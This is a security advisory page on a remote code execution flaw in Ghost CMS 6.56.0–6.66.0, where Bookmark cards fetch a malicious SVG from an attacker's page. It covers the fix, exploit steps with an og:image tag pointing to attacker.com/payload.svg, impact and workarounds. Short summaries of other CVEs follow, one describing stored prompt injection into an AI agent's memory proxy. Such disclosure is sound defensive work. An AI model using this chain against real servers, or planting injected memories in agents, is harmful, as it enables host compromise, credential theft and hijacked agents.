Oct 7, 2026·6 min read·34 visits
A Remote Code Execution (RCE) flaw in Ghost CMS (versions 6.56.0 - 6.66.0) allows low-privileged users to compromise the host server by inserting a link to an attacker-controlled webpage containing a malicious SVG image.
CVE-2026-105642 is a critical remote code execution vulnerability in Ghost CMS, affecting versions 6.56.0 through 6.66.0. The flaw resides in how Ghost's backend handles external image metadata when generating 'Bookmark' cards in the post editor. When a low-privileged staff member inputs a malicious URL, the server fetches and processes an SVG containing an embedded payload, leading to command execution via the underlying, vulnerable image-processing component.
Ghost CMS utilizes backend scraper components to enrich user-generated posts with interactive content. When an editor inserts a 'Bookmark' block into a post, the platform issues a server-side request to scrape the metadata of the target site. This process extracts Open Graph and Twitter Card tags, resolving image assets like icons and preview graphics to display on the card.
The underlying mechanism relies on backend dependencies that parse these image formats. In Ghost versions 6.56.0 through 6.66.0, the application handles Scalable Vector Graphics (SVG) without sufficient sandboxing or validation. Because SVG is an XML-based format, processing it without strict boundaries exposes the server to file system access, network requests, and OS-level shell command execution.
This vulnerability is tracked as CWE-94 (Improper Control of Generation of Code) and CWE-1395 (Dependency on Vulnerable Third-Party Component). The exposure is elevated because even restricted users, such as Contributors, can insert Bookmark blocks, initiating the backend image processing routine. The architecture of this vector is detailed below:
The root cause of CVE-2026-105642 lies in the unsafe processing of XML-based graphics within the server's backend image-processing pipeline. When rendering metadata previews, Ghost downloads the remote image into a memory buffer and processes it via rendering engines such as @tryghost/kg-default-nodes or related image helpers. Older versions of these libraries passed the SVG payload directly to underlying native libraries without adequate sanitization.
Because SVGs are XML documents, they support advanced features such as external entity resolution (XXE), nested scripts, and system-level rendering operations. If the SVG parser does not run in a highly restricted sandbox, or if it leverages native libraries with buffer overflows or command injection vulnerabilities, a specially crafted SVG file can execute arbitrary system commands in the host shell.
The attack vector bypasses standard authentication boundaries because the victim does not need to upload the image directly to the Media Library. The upload is simulated via a third-party server, allowing an unprivileged contributor or an external actor who successfully social-engineers an author to pass the input directly to the internal renderer.
The remediation effort in commit 4cb7e7956356a47e2c2c240588ef32ecd9fddeaa focuses on isolating preview generation and updating vulnerable packages. Ghost introduced a configuration parameter, embedPreviewUrl, designed to route embedding requests through a sandboxed engine isolated from the main application origin.
Additionally, dependencies within the @tryghost/koenig-lexical and @tryghost/kg-default-nodes modules were updated to secure versions that lock image-rendering engines and sanitize vector inputs prior to passing them to native parser utilities.
The structural changes are highlighted in the configuration and dependency definitions:
// Package lock update in 6.67.0 release commit
{
"name": "ghost",
"version": "6.67.0",
"dependencies": {
"@tryghost/koenig-lexical": "2.13.0",
"@tryghost/kg-default-nodes": "1.4.1"
}
}// Conceptual representation of the sandboxing control implementation
const previewConfig = {
// Previous unsafe processing resolved remote images directly in main process
// The update routes previews through isolated rendering domains
embedPreviewUrl: process.env.EMBED_PREVIEW_URL || 'https://sandbox.ghost.org/embed',
sandboxOptions: {
allowScripts: false,
allowSameOrigin: false
}
};By forcing the rendering of remote metadata to occur within an isolated container or origin, any code executed during parsing is constrained and cannot access the core application's file system or database credentials.
An attacker must construct a sequence where the Ghost backend is forced to parse an external SVG payload. The exploit chain consists of the following technical steps:
<meta property="og:image" content="http://attacker.com/payload.svg" />The attacker crafts payload.svg. The SVG payload uses structural features designed to trigger memory corruption or spawn terminal sessions within the native rendering binary associated with Ghost's image pipeline.
An attacker logs in with a 'Contributor' account (or uses social engineering to target a staff member) and creates a draft post. Within the Koenig editor, the user adds a 'Bookmark' block and enters the URL of the attacker's server.
The Ghost backend initiates an HTTP GET request to retrieve the metadata. It parses the HTML, extracts the URL for payload.svg, and fetches the SVG raw buffer into memory.
The buffer is processed by the unsafe image component, triggering the embedded payload. The shell command executes under the privileges of the active Node.js server daemon.
The impact of successful exploitation is complete compromise of the underlying host operating system. Because the Ghost server process typically requires read and write access to the main database, configuration directories, and local media folders, the attacker obtains the same permissions.
An attacker can read connection strings from the config.production.json file, granting immediate access to database environments containing user credentials, email lists, and site configurations. Furthermore, the attacker can leverage host access to execute lateral movement across internal subnets or modify application source files to inject malicious JavaScript, targeting site visitors with drive-by downloads or credential harvesting operations.
The CVSS v3.1 score is evaluated at 8.8 (High), with high metrics for Confidentiality, Integrity, and Availability impact. Although user interaction is required (forcing a staff user to paste a URL), the low privilege requirement makes this an extremely dangerous vector inside multi-user publishing environments.
The definitive mitigation for CVE-2026-105642 is upgrading the Ghost instance to version 6.67.0 or later. This updates the primary dependencies and installs the safe image parsing routines.
For administrators who cannot immediately apply the patch, the following workarounds should be applied:
Restrict Outbound Server Traffic: Configure host-level firewall rules using tools such as iptables or cloud security groups to block outgoing HTTP/HTTPS connections from the Ghost application server to untrusted external networks. This prevents the scraper from retrieving metadata from external attacker-controlled hosts.
Author Privilege Auditing: Temporarily revoke draft privileges for untrusted or low-privileged staff members, such as Contributors, to prevent the unauthorized insertion of unsafe Bookmark cards.
WAF Rules: Implement Web Application Firewall (WAF) policies designed to inspect draft payload requests and block requests targeting external domains containing unrecognized or suspicious query parameters and file types.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Ghost TryGhost | >= 6.56.0, <= 6.66.0 | 6.67.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94, CWE-1395 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.8 |
| EPSS Score | 0.00251 |
| Exploit Status | poc |
| CISA KEV Status | Not Listed |
The application constructs or generates code using untrusted input, allowing an attacker to execute arbitrary command strings on the hosting operating system.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.